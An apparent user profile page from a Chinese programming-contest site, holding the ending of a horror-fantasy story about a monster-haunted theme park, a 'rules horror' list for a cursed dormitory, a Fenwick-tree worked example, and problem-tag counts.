    1.调查部全体员工持武器在外围警戒,确保本次实验不会被其他怪物干扰,随后保安A上场,准备与抓来的一只哥布林展开决斗。

    (刻耳柏洛斯仰起三颗狗头,对这场决斗表现出了浓厚的兴趣。)

    2.决斗开始,尽管保安A的实力可以轻松获胜,但为了表演能更精彩,双方打得难舍难分。决斗持续了约五分钟,最后保安A一记漂亮的割喉刀法将哥布林送上西天。

    (刻耳柏洛斯朝保安A吠叫了几声,两只前爪交替拍击地面,明显对这场表演非常满意。)

    3.采购部员工从运输车上卸下了来自■■博物馆的阿根廷龙腿骨化石,缓缓将其推入刻耳柏洛斯的活动范围内。

    (刻耳柏洛斯显得更加兴奋,很快三颗狗头有了不同的表现:左边的头转向旁边,不去看那根骨头;右边的头想凑过去闻一闻,但被中间的头呲牙咧嘴吓住了。)

    4.全体员工向后退五米。

    (刻耳柏洛斯的右头发出哀呦声,中间头摇摆不定,似乎正在经历非常剧烈的内心挣扎,最后还是直起身子,将骨头叼到门前。它每只头咬住骨头的一部分,欢快地啃咬着,但那骨头对刻耳柏洛斯来说非常脆弱,很快被它啃碎了,刻耳柏洛斯发出委屈的叫声。)

    5.采购部员工再次推入一根同样巨大的恐龙化石。

    (刻耳柏洛斯重新振奋起来,但这次啃咬显得十分小心。)

    6.训犬师上场,这位女士是我部从■■■马戏团找来的人才,据说她能与全世界的狗进行无障碍交流。训犬师看到刻耳柏洛斯后非常惊慌,不断询问我们它是什么犬种,并拒绝与它沟通,在我们摆出了一箱现金后勉强同意尝试。

    7.训犬师对着刻耳柏洛斯狗叫几声,正在专心啃骨头的三头犬注意到了,在发现狗叫声是面前的这个人类女性发出来时,它的三颗狗头互相看了看对方,随后也对着训犬师叫了两声。

    8.训犬师冲我们摇了摇头,表示她无法完全听懂这只狗说的话,推测刻耳柏洛斯使用的是古希腊犬语,与现代犬语有很大不同,自己只能翻译一部分。

    9.在我们表示同意之后,训犬师继续与刻耳柏洛斯沟通,全部内容如下——

    训犬师:你好……你们好?

    中间头:人……类……

    训犬师:你们为什么要攻击我们?

    左边头:……门(推测为地狱大门)不容亵渎。

    右边头:就算你们……(推测为给了骨头)也不行。

    训犬师:你们为什么会出现在这里?

    左边头:我们在……

    右边头:并非……真正的……

    中间头:……只是……而已。(推测为面前的刻耳柏洛斯并非真身,而是类似于投影一样的东西,其真身不在这个世界上。)

    训犬师:其他怪物也跟你们一样吗?

    右边头:不知道。

    左边头:谁认识……啊?(推测为刻耳柏洛斯并不认识其他怪物。)

    中间头:但是……唱歌的……熟悉。(推测为塞壬。)

    训犬师:你们的目的是什么?

    中间头:守卫……门(推测为地狱大门。)

    左边头:其他……小孩子……父母……(无法推测,小孩子很可能指的是幼童。)

    右边头:无关紧要。

    训犬师:你们还知道别的什么吗?关于那些怪物?

    右边头:……又坏了。(此时骨头被啃坏,我们递过去最后一根。)

    左边头:唱歌的……哀伤……(推测为塞壬的歌声非常哀伤。)

    训犬师:能说清楚一点吗?

    中间头:为了……小孩子……父母……(无法推测。)

    随后刻耳柏洛斯表现出不耐烦的情绪,拒绝与训犬师沟通,一心啃着骨头,本次沟通实验结束,可以说圆满成功。

    再次感谢执行园长的鼎力相助。」

    “呃……不客气。”(潦草的字体)

    “的确是非常成功的沟通实验,你们的工作值得夸奖,下一步请调查塞壬。”(工整的字体)

    《关于与海妖塞壬沟通的结果报告》——开发部

    大致内容如下:

    「很抱歉,我们的实验失败了,塞壬小姐拒绝与我们沟通。

    靠近塞壬是非常危险的,虽然它并不会伤人,但由于‘塞壬海角’是离海岸有一段距离的礁石,所以被塞壬迷惑的人会不知不觉地走进海里淹死。为防止这种情况发生,我部为所有人配备了一对特制耳塞,随后我们便前往塞壬海角。

    抵达后,我们观察到塞壬正一如既往地开着个人演唱会,对我们的到来毫无反应。我们尝试了喊叫、挥手、跳舞等方式,均无法吸引塞壬的注意力(此时保安A提议再给它一枪,被当场否决)。

    之后我们采取了“俄耳甫斯计划”,搬来两台高级音响,最大音量播放重金属音乐,试图盖过塞壬的歌声。此计划的确成功地让塞壬停止了歌唱,但它露出十分愤怒的表情,并用鱼尾巴击打海面、朝我们泼水以表抗议。为了不使局面进一步恶化,我们只得关闭音响,随后塞壬转过身继续歌唱,对我们完全无视。

    无奈之下,我们使用了翻译器,尝试翻译塞壬小姐所唱的歌词。结果也同样令人遗憾,塞壬的歌词无法被翻译出,推测有两种可能:它使用的是未知语言,或者歌词本就没有任何意义。

    至此,调查陷入困境。」

    “那条狗说塞壬的歌声非常哀伤,是不是说明它能听懂?”(潦草的字体)

    “请做好再次与刻耳柏洛斯沟通的准备。”(工整的字体)

    《■■市万圣节主题公园开业公告》

    经过数年细心策划和精心准备,很高兴地宣布,我们的万圣节主题公园正式开业啦!

    在这座公园,所有的工作人员都会装扮成怪物的样子,甚至连售货员和清洁工都是哥布林或者兽人一类的怪物喔!

    您可以在德古拉城堡里与吸血鬼们合影,可以在地狱大门前触摸刻耳柏洛斯(它是只可爱的巨型玩具狗狗!),也可以被食尸鬼们围起来唱生日歌!我们会为您献上一次绝妙的游玩体验!

    还等什么呢?快点来万圣节主题公园狂欢吧!

    注:园区西部的湖泊暂时还没有游乐设施,我们会尽快建造完成。

    《关于再次与刻耳柏洛斯沟通的结果报告》——开发部

    大致内容如下:

    「第二次的沟通实验较为成功,我们采取了与上次大体相同的措施,沟通结果如下:

    训犬师:关于海妖塞壬,你们知道些什么吗?

    左边头:天天唱……烦……

    右边头:……已经……能不能……她……闭嘴。

    中间头:要不是……门,我……爪子……水里……(推测为刻耳柏洛斯天天听塞壬唱歌已经听腻了,要不是得看守地狱大门,自己早就过去一爪子把塞壬拍水里)

    训犬师:它为什么要唱歌,它的歌有什么意义?

    左边头:说过了……小孩子……父母……

    中间头:她……哀悼……

    右边头:……无聊。(无法推测)

    训犬师:我不太明白,能不能说清楚点?

    左边头:……烦,你们……跟着歌……水里,就能知道。

    中间头:当心……淹死。

    右边头:嘎吱嘎吱嘎吱。(啃骨头中)

    此后刻耳柏洛斯拒绝继续沟通。」

    “塞壬海角的水底下,有什么东西?”(潦草的字体)

    “我好像猜出点什么了,调查部立刻去搜索自开园以来的■■市儿童失踪记录。”(工整的字体)

    「别再让军队掺和这档子破事了!他们的确实力出众,能把那些怪物打得哭天抢地,结果呢?结果就是第二晚那该死的月亮变得像血一样红!一头比山还高的大灰狼突然跳出来毁掉了半个公园!」

    「目前还没有足够的证据证明是军队的残酷镇压导致了如此后果……」

    「那你告诉我,为什么之前我们和怪物打得你来我往其乐融融时就一点事也没有,他们来的第二天就彻底变样了?」

    「这……」

    「执行园长已经遇害了,园长现在还躺在急救室里,从现在开始,我就是执行园长,公园事项全部由我负责。」

    「事关重大,我们需要经过……」

    「经过你■■■■!你以为我想干吗!我今晚就上前线,每一天都上,直到我死!这样行不行?」

    「……」

    「没意见就通过!」

    「……那我们是否还接受政府的援助?」

    「接!傻子才不接!还有各种人才也找他们要,组建个什么开发部调查部后勤部……做好打持久战的准备吧。」

    「这些人的生活问题该怎么办,地上太危险了。」

    「那就往地下挖!」

    ……

    「执行园长■■先生牺牲于昨晚的“夜间狂欢”中,很遗憾,由于憎恨血肉的关系,我们并未能回收他的尸体,只能立此衣冠冢。现在,全体员工请向这位伟大的战士、可靠的领导默哀三分钟。」

    《关于“塞壬海角”的调查报告》——开发部

    大致内容如下:

    「我们必须为此庆贺一番,因为这是目前最大的发现成果,我们所找到的很可能是一切异常的根源,真相因此得以浮出水面。

    请二位不要心急,让我先为你们简单陈述一下调查的全过程。首先,我们让一名调查部员工穿上潜水服,在他的潜水头盔上安装水下摄像头,并在他的腰部系上足够结实的缆绳。一切准备妥当后,我们带这名员工前往“塞壬海角”,他很快便被塞壬小姐迷惑,直愣愣地沉入海里,而此时岸上的我们通过笔记本电脑观看传来的影像。

    好在这个潜水头盔有照明功能,使我们能够较为清楚地看到——水底的泥沙在掩藏着什么东西,在那片黑暗中有一星半点的白色。

    我们立刻把潜水员拉回来,给他打了一支镇定剂,其他三名调查部员工则迅速换好潜水服下水。不多时,他们带着它上来了。

    那是一具人类儿童的骸骨,身上的衣物已烂得不成样子,但可以看出与‘幼童’的着装高度相似。

    塞壬在看到我们把这具骸骨捞出来后立刻停止了歌唱,它显得有些犹豫不决,向我们伸出双手又很快缩回去,目光在我们与骸骨之间来回移动。我们向塞壬解释,这样做是为了使这个孩子得到解脱,我们保证不会残害它的骸骨。塞壬小姐似乎理解了,冲我们点点头,随后跳入水中消失。

    目前,骸骨已被妥善保存。」

    “快把那具骨头架子带到会议室来!”(非常潦草且杂乱的字体)

    “立刻召集所有高层召开紧急会议,立刻。”(较工整的字体)

    我想了想,因为这一篇也不是纯解密,所以干脆在结尾把大部分真相放出来吧,那些难以在正文中写明的、类似于设定的小部分,我会在结局后做一个总结。

    调:「……以上为我部与开发部发现这具骸骨的大致经过,据我们推测,它极有可能是‘幼童’的真身,也就是……」

    执:「所以说,这场持续了■年的闹剧,全是这骨头架子在搞鬼?」

    调:「一个死掉的小孩不可能拥有如此强大的能力,我们怀疑他是被某种存在所利用……」

    采:「老子砸碎了它!」

    建:「我靠,我说你来之前找我借锤子干嘛……」

    开:「冷静!我们向塞壬小姐保证过……」

    采:「去他妈的塞壬,它来了我也一块砸!」

    保:「快把他拦住!」

    财:「■■!你想再次被降职成保安吗?!」

    采:「等这玩意碎了以后就没什么怪物了,让老子当一辈子保安都没问题!那么多人都因为这破玩意而死,我忍不了!」

    园:「保持冷静,采购部部长。目前还有许多谜团没有解开,我们不知道把骸骨破坏以后会造成什么后果,绝不能冒这个险。」

    采:「……好吧。」

    医:「现在的问题是,这个孩子是谁,为什么会死在公园里,他和那些怪物们究竟有什么关系,以及如何处理这具骸骨。我想我们最好在今天的“狂欢”开始之前搞清楚这些问题。」

    园:“说得很对。那么,调查部部长,请向大家展示你调查出的结果。”

    调:「是。首先,关于这个孩子的真实身份,我部查阅了自异常发生前后,■■市(公园最初所在地)的儿童失踪记录,发现确有一名十周岁男孩失踪。我们认为他正是这具骸骨,也就是‘幼童’,在异常发生的那天死在了公园里。」

    人:「请等一下,那天应该死了不少人吧,就没有其他遇害的孩子?」

    园:「这个我来说明,我清楚记得怪物出现的时间是公园关门前的半小时,那时已很晚,带着孩子的游客们都已经离开了,只剩下成年人在里面。之后出现的憎恨血肉也证明了这一点,里面没有儿童的尸体,当时我们没有把它烧掉。」

    调:「我们详细调查了这个孩子,他名为■■■(以下代称为“B”),拥有一段不幸的童年……」

    执:「直接说不幸的人生好了。」

    园:「请不要打岔。」

    调:「B的母亲未婚先孕,B的生父在她生下B后跑得无影无踪,在B三岁时,她与另外一名男人结婚。这位继父并不怎么合格,他是个糟糕的赌徒,而且对B也时好时坏。如果他赢钱了,就带着B去我们公园游玩一圈,因为那时公园刚刚开业门票免费;如果他输了子儿,就会拿孩子和老婆撒气。久而久之,我们公园成为了B唯一的快乐,他记住了公园里的每一个怪物,因为那些工作人员虽然扮相丑陋,但对待孩子非常友好。重点来了先生们,■年■月■日,也就是异常发生的那一天,继父在赌桌上输了个倾家荡产,他似乎早就预料到了这种情况会发生,所以提前为B买了意外保险。那天晚上,他带着B和妻子最后一次来到我们公园,并在入夜时分找了个借口与妻子分开,带着B去了园区西边的海岸。那里的工作人员都已经下班了,游客也寥寥无几,继父见四下无人……」

    财:「我的天啊……」

    调:「成功后的继父找到妻子,告诉她B走丢了,然后两人象征性地找了找后,一起去值班室找工作人员帮忙。说到这里,我个人认为B的母亲也不是好鸟,她很可能知道丈夫的保险计划,默认了这种暴行。这对混蛋夫妇在半路上碰见了突然冒出来的、见人就杀的怪物们,他们见此再也顾不得什么孩子,拼命逃出了公园。」

    执:「所以,那些怪物一直杀人是为了……」

    调:「极有可能是源于B“想要找到父母”的愿望,它们在帮助这个可怜的孩子寻找他的爸妈,虽然方式有点过激了。」

    调:「然后关于公园的“重置”和“刷新”问题,目前看来这些怪物只是投影,所以才会在每一天晚上重新生成,甚至那些怪物据点也一样。比如说德古拉城堡,白天时它是我们建造的游乐场所,到了晚上就会变成真正德古拉城堡的投影。至于“刷新”,可能是因为B和他的怪物朋友们找了一夜都没找到,所以B决定换个地方继续找,虽然逻辑上可能说不通,但是请各位明白,B成为异常后已经没有正常人类的思考能力了。」

    执:「那我们现在应该找到那对混蛋父母然后……」

    调:「很遗憾,这俩混蛋受到了严重惊吓,在逃离公园后慌不择路跑到了大街上被卡车撞了个稀巴烂,现在连骨灰都不知道丢哪去了。」

    采:「撞得好!」

    建:「没想到我们日防夜防的竟然真的是个孩子,我们一直都以为他是某种异常的具象化,拼命不让它离开公园。」

    调:「事实上,我们的谨慎是正确的,B认为它的父母还在公园,所以才一直在公园里发动异常来找他们。如果让他出去,让他对“外面”有了认知,比如说认为父母在城市里、在■国、在地球上……后果不堪设想。」

    医:「既然这样……接下来该怎么办呢?」

    调:「我们不能随意处置这具骸骨,可能让它得到超脱是最好的办法。」

    执:「怎么超脱?找个神父僧侣给它祷告念经吗?还是说打开通往亡者世界的大门把它扔里面?」

    园:「我们公园里好像还真有这扇门……」

    《关于公园异常被妥善解决的报告》——开发部

    大致内容如下:

    「这是我部最后的报告书了,我们想把这历史性的一刻记录下来。

    我们带着B的骸骨来到地狱大门前,将它慢慢推进刻耳柏洛斯的活动范围里,然后让训犬师上前与三头犬沟通。

    训犬师:“请让这个孩子得到安息。”

    刻耳柏洛斯走过来,低头嗅了嗅这具骸骨,在我们都担心它会把骸骨当作小点心吃掉时,它的三个头互相交谈了一下。

    中间头:“死者……允许进入……门。”

    右边头:“可……不在这里。”

    左边头:“那就……”

    刻耳柏洛斯直起它巨大的身体,扬起三颗狗头朝着天空长嗥一声,那声音让我们感受到了深入骨髓的寒冷,仿佛连灵魂都被冻结住了。

    不多时,地上的骸骨竟动弹了一下,然后慢慢爬起来,站在了刻耳柏洛斯面前。

    三头犬往旁边移了移,露出它背后的地狱大门,此刻那扇门已打开了一条足以让小孩子通过的缝隙。至于里面是副什么样的光景,我只能说是黑暗,在翻滚着的、能够将世上一切都吞没掉的黑暗。

    右边头:“请吧,你这个……”

    然而骸骨却拒绝了,它摇摇头,用手指了指公园大门的方向。

    左边头:“你……父母……放心……”

    中间头:“我们是……保证……”

    骸骨踟躇片刻,终于迈步走了进去,地狱大门随之关闭。而刻耳柏洛斯的身体也逐渐消失,它冲我们最后吠叫了几声。

    左边头:“这里……有意思,我都……不想……”

    右边头:“……不错,就是……坏了。”

    中间头:“你们两个……能不能……”

    刻耳柏洛斯消失了,所有的怪物都和它一样。

    一切都结束了。」

    《敬告所有员工》

    「是的,一切都结束了,我们的长久抗争取得了彻底的胜利,那些伟大的灵魂终于得到了告慰。

    入夜后不会再有“夜间狂欢”,员工们不用再拼死拼活,公园也回到了它最初的所在地。

    我们不会忘记每一名员工,你们的名字都记录在人事部的档案里,稍后我们会制作三块大型纪念碑,以纪念幸存员工、悼念牺牲员工和那些可怜的游客。

    现在,是时候说告别了。

    有离职意愿的员工,请前往财务部领取薪水及奖金(年终奖提前发放),我们还会报销各位回家的交通费用。离职后保密协议仍然有效,请各位不要忘记。

    至于这座公园,我和执行园长会继续担任职位,把它变成一座正常的、安全的公园。

    不过在那之前,我们还有其他善后工作要做,请留意接下来的公告。

    最后——我们是擎着天空的阿特拉斯,我们是推着石头的西西弗斯,我们谁也不是。」

    “即将举办豪华的庆功派对,请所有员工参加,详细计划稍后再说。”(略潦草的字体)

    后记——刻耳柏洛斯的犬语翻译

    第一次沟通如下:

    训犬师:你好……你们好?

    中间头:人类,这可真稀奇。

    训犬师:你们为什么要攻击我们?

    左边头:地狱大门不容你们这些蠢货亵渎。

    右边头:就算你们给了骨头也不行。

    训犬师:你们为什么会出现在这里?

    左边头:我们还在地狱那边看门啊,蠢货。

    右边头:在这儿的并非真正的我们。

    中间头:只是投影而已。

    训犬师:其他怪物也跟你们一样吗?

    右边头:不知道。

    左边头:谁认识那些蠢货啊?

    中间头:但是我们对那条唱歌的鱼比较熟悉。

    训犬师:你们的目的是什么?

    中间头:守卫地狱大门。

    左边头:其他蠢货都去寻找那个小孩子的混蛋父母了,我们不会去。

    右边头:因为这无关紧要。

    训犬师:你们还知道别的什么吗?关于那些怪物?

    右边头:怎么骨头又坏了。

    左边头:唱歌的那条蠢鱼,她的歌声一直很哀伤。

    训犬师:能说清楚一点吗?

    中间头:她是为了那个小孩子而唱,那对混蛋父母杀害了他。

    第二次沟通如如下:

    训犬师:关于海妖塞壬,你们知道些什么吗?

    左边头:那条蠢鱼天天唱歌,真烦啊。

    右边头:我都已经完全听腻了,能不能让她快点闭嘴。

    中间头:要不是得看守地狱大门,我非过去一爪子把她拍水里不可。

    训犬师:它为什么要唱歌,它的歌有什么意义?

    左边头:说过了啊蠢货,那小孩子被他的混蛋父母杀害了。

    中间头:她是在哀悼那个男孩,日复一日。

    右边头:我觉得很无聊。

    训犬师:我不太明白,能不能说清楚点?

    左边头:别烦我们了,你们这些蠢货跟着歌声到水里去看看,就能知道。

    中间头:当心别被淹死。

    右边头:嘎吱嘎吱嘎吱。(啃骨头中)

    第三次沟通如下:

    训犬师:“请让这个孩子得到安息。”

    中间头:“死者,允许进入地狱大门。”

    右边头:“可他的灵魂不在这里。”

    左边头:“那就招魂啊你个蠢货。”

    (……)

    右边头:“请吧,你这个爱惹麻烦的小鬼头。”

    (然而骸骨却拒绝了,它摇摇头,用手指了指公园大门的方向。)

    左边头:“你那混蛋父母就在地狱里面受罚呢,放心吧,能见到那俩蠢货的。”

    中间头:“我们是地狱的高层,保证不会骗你。”

    (骸骨踟躇片刻,终于迈步走了进去,地狱大门随之关闭。而刻耳柏洛斯的身体也逐渐消失,它冲我们最后吠叫了几声。)

    左边头:“这里还真有点意思,我都有点不想走了。”

    右边头:“骨头不错,就是太容易坏了。”

    中间头:“你们两个家伙能不能有点出息。”

    一些隐藏设定

    巨型憎恨血肉:

    B会在狂欢夜结束前检查每一具人类尸体,希望能在里面找到他的父母,那些“不合格”的就会被他丢在一块,垒成一座血肉之山。

    海妖塞壬:

    1.每晚都会为小男孩哀歌,是怪物中唯一关心他的人鱼。

    2.塞壬小姐只是在单纯地唱歌,但由于她无论怎么唱都会把人迷惑住,所以造成了不少人的死亡,不过塞壬不在意这些,这也是帮小男孩寻找父母的一种方法。

    3.在耶梦加得出现后,胆小的塞壬立刻跳入水里游走,但她游到一半时担心小男孩的骸骨会被耶梦加得碾碎,所以最后又游了回来,在水底照看着。(另外,庆功派对上,有员工提到“原来塞壬一直是在哭丧啊”,被旁边的开发部员工痛扁。)

    刻耳柏洛斯:

    1.左边是爱骂脏话的暴躁狗头,右边头是容易把骨头啃坏的吃货狗头,中间是时刻保持形象的严肃狗头。

    2.一开始它们觉得塞壬唱得还不错,但久而久之就听腻了,变得更享受枪炮声和哭喊声。

    3.欣赏能打的人类,对保安A印象不错。

    4.被开发部的“俄耳甫斯计划”吓了一跳。

    园长:

    1.自公园开业以来就担任园长直到现在,最了解这个公园的人。

    2.睿智、成熟、冷静且不会动摇,被部下深深地信任着。

    3.在第一次“血月日”中失去了双腿,开发部组建后为他量身定制了一对假肢,但他用的不怎么习惯,只会在重大场合使用,平时都坐轮椅。因为不方便外出,所以很多事都交给执行园长去办。

    4.在庆功派对上,站在台上向大家致辞。

    执行园长:

    1.是上一任执行园长的弟弟,因亡兄的遗愿而来到公园。

    2.被园长评价为“兄弟俩一个脾气,但他更冷静一丁点”。

    3.是三位执行园长中在位最久的。

    4.庆功派对由他主办。

    全文完

    你是318宿舍的一名学生,然而你的宿舍收到了诅咒,有一个恐怖生物混入了你的宿舍,它会隐藏、伪装,还会吃人。请遵守以下规则,确保你不会被它吃掉。

    1.你的宿舍是六人间,时刻通过数数确认你的宿舍里有且只有六个人,若人数少了,可以不用管,若人数多了,立即停止数数,打开宿舍大门,进入浴室并关上浴室门,在里面待至少五分钟,无论外面出现多扭曲的声音都不要出去。 2.你的宿舍是男生宿舍,时刻确认所有的舍友都是男生,如果听见女生跟你说话,可以与其聊天,但不要看对方的脸,也可以找借口离开宿舍,她不会跟着你出去。 3.请在晚上0:00之前就寝,并在23:50之前关掉所有的光源(包括台灯、电脑屏幕等),就寝后,不要再下床走动,若听见有东西在走动,不要去看,保持双眼闭上。 4.你的学校没有校服,若发现有舍友穿了奇怪的校服,不要理会,不要看他的脸,立即前往阳台背对着阳台门看景色,无论什么声音叫你或是有东西拍你的肩膀,都不要回头或回应。 5.时刻牢记宿管电话:2736550,但不要将其保存为手机联系人,电话号码会被贴在宿舍墙壁上,一定要确认电话号码是以上数字,若发现电话号码改变或者不见了,立即打开手机,你会发现宿管电话出现在你的联系人目录里,立刻拨打并向宿管报告,宿管会来处理。播打完电话后,立即删掉所有通话记录。 6.没有重要事情,尽量不要拨打宿管电话,但可以向宿管询问所有宿舍守则,防止自己遗忘。但注意,宿管只会在8:00-20:00期间工作,其他时间请勿拨打。 7.时刻记住【人】的样子,记住人有且只有两个眼睛,并且是横向排布的。时刻记住,自己是人。 8.宿管会不定时进行查房,宿管可以是男性也可以是女性。宿管将要进入房间时,会发出间隔三长一短的敲门声,如果敲门声不是上述的间隔,无论宿管说什么,都不要开门。并注意,宿管只会在8:00 - 20:00期间工作,不符合该时间段,宿管不会来查房。 9.牢记,从宿舍门进来,左手边是厕所,右手边是浴室,不要弄反,如果进入后发现房间类型错误,不要离开,进入并关上门,同时锁好门,不要使用房间内任何物品,站在原地至少两分钟,再出去,出去后再关上门。 10.分清楚宿舍内每个人对应的书桌位置,如果发现舍友坐在了错误的位置上,但不是你的位置,可以不去理会。如果是你的位置,不要与其对话,请坐到对应舍友的位置上,但不要使用该舍友的任何物品,即便该舍友正在使用你的物品,直到该舍友离开你的座位。 11.记住,宿舍内没有黑色的行李箱,如果有黑色行李箱出现在床底,立即拨打宿管电话,要求其来处理。如果当时不处于宿管工作时间,请勿拨打宿管电话,用胶布把行李箱封住,直到第二天宿管上班。 12.如果黑色行李箱出现在你的床上,不要触碰,立刻拨打宿管电话,即便当时不处于宿管工作时间,宿管也会来处理,但注意宿管的敲门声,详情见第8条守则。 13.宿舍里没有镜子。如果看见任何镜子,不要站在其前面超过五秒,立即尽一切手段将其砸碎,并呼叫宿管进行处理。即便当时不处于宿管工作时间,宿管也会来处理。 14.记住宿舍的门牌号是318,如果确认自己没有走错宿舍但门牌号不对,或是已经识别不出【数字】,直接进入该宿舍,但不要看任何舍友的脸,不要与任何舍友对话,转身把门关上并面对着门,持续两分钟,接着走出宿舍,关上宿舍门,再次进入。 15.牢记自己的【名字】,如果有舍友对着你说话喊的却是其他舍友的名字,不要恐慌,不要疑惑,假装自己的名字就是对方所说的名字,正常与其对话,不要让它察觉到。但对话结束后,请反复确认自己的名字,如果想不起自己的名字,立刻拨打宿管电话,即便当时宿管不在上班。 16.不要出于上课以外的任何目的离开宿舍,如果一定要在正常状态下离开,请带上一名【正常模样】的舍友,并保持两人紧挨,不要走散。如果在外走散,宿管无法帮助你,回到宿舍后,后果自负。 17.在与舍友聊天时,如果听到明显不来自于所有舍友方向的【笑声】,立即停止对话,进入浴室,关上浴室门,在里面待至少五分钟,无论外面出现多扭曲的【声音】都不要出去。 18.宿舍在18:00-0:00有热洗澡水供应,请在该时间段内洗澡,即便你不需要热水。若发现该时间段内洗澡水不是热的,立即停止洗澡,背对浴室门站立,将其顶住,无论什么东西敲门都不要回应,直至动静消失,然后继续洗澡。 19.宿舍每过两天会有新的饮用水供给,饮用水桶只会出现在门外,如果发现其出现在门内,立刻拨打宿管电话。如果当时宿管没上班,请将水桶外包装撕掉,并放在门口,宿管会自动将其处理。 20.正常情况下,不要打开阳台门超过两分钟,如果是下雨天,请将其打开,它不喜欢下雨。但注意,阳台门和宿舍门不能同时打开,否则会有更多的它进入宿舍。 21.室内不需要佩戴【口罩】。如果发现有舍友佩戴口罩,不要与其言语对话,不要看他的眼睛,而是用纸和笔写字对话,同时呼叫宿管,宿管会将其带离。若在舍友被带走之前试图摘下口罩,尽一切手段阻止他。如果当时不是宿管上班时间,请给宿舍所有人戴上口罩,直到8:00全体摘下 22.请牢记所有舍友的名字与外貌特征,如果发现陌生人自称是你的舍友并告诉你他的名字,不要与其对话,不要在心中默念他的名字,带领其离开宿舍,不要关宿舍门(即便当时阳台门处于打开状态),走到宿管办公室将该陌生人交给宿管。 23.如果你发现宿管主动拨打你的电话,停止目前一切行为,先不要接听,尝试辨认周围至少有2个【人类】是你的舍友,如果辨认成功,请接听,按照宿管的指示做。如果辨认失败或你已经无法理解数字【2】的概念,立刻拒接,离开宿舍,不要关宿舍门,前往宿管办公室。 24.如果你拨打了宿管电话求助,但宿管没有在五分钟内到来,则318宿舍已经被【遗忘】,请立刻带领宿舍内所有【人类】(无论数量是多少)离开宿舍,关闭阳台门和宿舍门,前往宿管办公室。 25.宿舍内没有【宠物】。如果发现有猫狗等动物出现在宿舍内,请不要对其的任何行为有任何反应,打开宿舍门直到没有猫狗的叫声。即便其开始对你发起攻击,你也不会受到任何伤害。 26.在浴室洗澡时,请确认在自己身上流淌的是【水】,即无色无味透明的液体。如果流出的液体不符合上述描述,或是你已经无法判断什么是【水】,立即停止洗澡并拨打宿管电话。 27.如果在睡觉时,听到某个舍友的床位传来切割声或惨叫声,请不要睁眼,假装自己仍在睡觉,发出声音的不是你的舍友。 28.如果发现宿管突然出现在宿舍内,不要理会,那不是宿管。也不要拨打宿管电话,请进入浴室,关上浴室门,直到浴室门传来间隔三长一短的敲击声。 29.宿舍门没有【猫眼】。如果看到猫眼 不要通过其进行窥视,用胶布将其封上。

    草稿区

    对于样例 2 3 -3 1 来说 其前缀和为2 5 2 3 因为这个数列的值比较小,所以也不离散化了 先在0这个位置加上1,bit为

    权值 1 0 0 0 0 0 位置 0 1 2 3 4 5

    扫到数字2时,统计小于等于2的位置上的数字之和,结果为1 于是在2这个位置上加上1,bit为

    权值 1 0 1 0 0 0 位置 0 1 2 3 4 5

    扫到数字5时,统计小于等于5的位置上的数字之和,结果为2 于是在5这个位置上加上2,bit为

    权值 1 0 1 0 0 2 位置 0 1 2 3 4 5

    扫到数字2时,统计小于等于2的位置上的数字之和,结果为2 于是在2这个位置上加上2,bit为

    权值 1 0 3 0 0 2 位置 0 1 2 3 4 5

    扫到数字3时,统计小于等于3的位置上的数字之和,结果为4 于是在3这个位置上加上4,bit为

    权值 1 0 3 4 0 2 位置 0 1 2 3 4 5

  • 通过的题目

  • 最近活动

题目标签

CSP-J秋季复赛集训
31
jnxxhzz
5
动态规划
3
NOIP2005
2
2022CSP-J第四次公开赛
2
线性DP
1
二叉树
1
基础算法-宽搜
1
2007noip普及组
1
算法笔记 入门题-贪心
1
第三章_树与堆_第一节_树与二叉树 
1
基础算法-排序
1
数学-数论
1
2022CSP-J第三次公开赛
1
算法笔记
1